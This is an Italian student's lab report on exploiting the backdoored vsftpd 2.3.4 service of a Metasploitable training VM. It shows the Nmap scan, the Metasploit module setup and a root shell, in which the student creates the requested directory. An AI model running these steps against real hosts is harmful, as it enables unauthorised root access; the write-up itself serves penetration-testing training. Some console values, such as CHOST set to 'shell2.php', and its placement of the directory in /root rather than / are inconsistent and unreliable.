

Pratica S7/L1

Traccia:

Vi viene chiesto di andare a exploitare la macchina Metasploitable sfruttando il servizio «vsftpd».

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando mkdir nella directory di root (/).

Chiamate la cartella test_metasploit.

Mettere tutto su un report, spiegare cosa si intende per exploit, cos'è il protocollo attaccato, i vari step.

Strumenti :

- Nmap
- Metasploit

1)

Prima iniziare con la fase di exploit con lo strumento metasploit , si scannerizza le porte interessate per la fase di pentest con Nmap come in figura .

```
(kali@kali)-[~]
$ nmap -sv 192.168.32.101
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-15 08:58 GMT
Nmap scan report for 192.168.32.101
Host is up (0.028s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   filtered netbios-ssn
445/tcp   filtered microsoft-ds
512/tcp   open  exec         netkit-rsh rshd
513/tcp   open  login?       Netkit rshd
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  filtered ingreslock
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.54 seconds
```

per utilizzarlo

```

msf6 > search vsftpd

Matching Modules
=====
#    Name                                          Disclosure Date  Rank    Check  Description
-    -
0    auxiliary/dos/ftp/vsftpd_232                  2011-02-03      normal Yes     VSFTPD 2.3.2 Denial of Service
1    exploit/unix/ftp/vsftpd_234_backdoor          2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/
Display all 216 possibilities? (y or n)
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact

```

poi si assegna l'indirizzo IP della macchina da attaccare con il comando :

set rhost 192.168.32.101

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.32.101
rhost => 192.168.32.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  CHOST      shell2.php       no        The local client address
  CPORT      shell2.php       no        The local client port
  Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     192.168.32.101  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     192.168.32.101  yes       The target host address
  LPORT     4444             yes       The target port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

```

3)

Una volta selezionato la funzione si avvia exploit con il comando :

exploit

per verificare se siamo entrati correttamente sulla macchina vittima possiamo fare un ifconfig per vedere l'indirizzo ip oppure un whoami

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.32.101:21 - The port used by the backdoor bind listener is already open
[+] 192.168.32.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.32.100:40831 -> 192.168.32.101:6200) at 2024-01-15 09:07:01 +0000

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:33:97:1e
          inet addr:192.168.32.101  Bcast:192.168.32.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe33:971e/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:3387 errors:0 dropped:0 overruns:0 frame:0
          TX packets:3274 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:267630 (261.3 KB)  TX bytes:232027 (226.5 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:216 errors:0 dropped:0 overruns:0 frame:0
          TX packets:216 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:53168 (51.9 KB)  TX bytes:53168 (51.9 KB)
```

4)

Una volta entrati ci crea una directory nel root come richiesto dalla consegna

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost-found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
cd root
ls
Desktop
reset_logs.sh
vnc.log
pwd
/root
mkdir test_metasploit
ls
Desktop
reset_logs.sh
test_metasploit
vnc.log
```

```
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/*-copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ ls
S3L2part2.py  vulnerable
msfadmin@metasploitable:~$ cd ..
msfadmin@metasploitable:~/home$ cd ..
msfadmin@metasploitable:/$ ls
bin  dev  initrd  lost-found  nohup.out  root  sys  var
boot  etc  initrd.img  media  opt  sbin  tmp  vmlinuz
cdrom  home  lib  mnt  proc  srv  usr
msfadmin@metasploitable:/$ cd root
msfadmin@metasploitable:/root$ ls
Desktop  reset_logs.sh  test_metasploit  vnc.log
msfadmin@metasploitable:/root$
```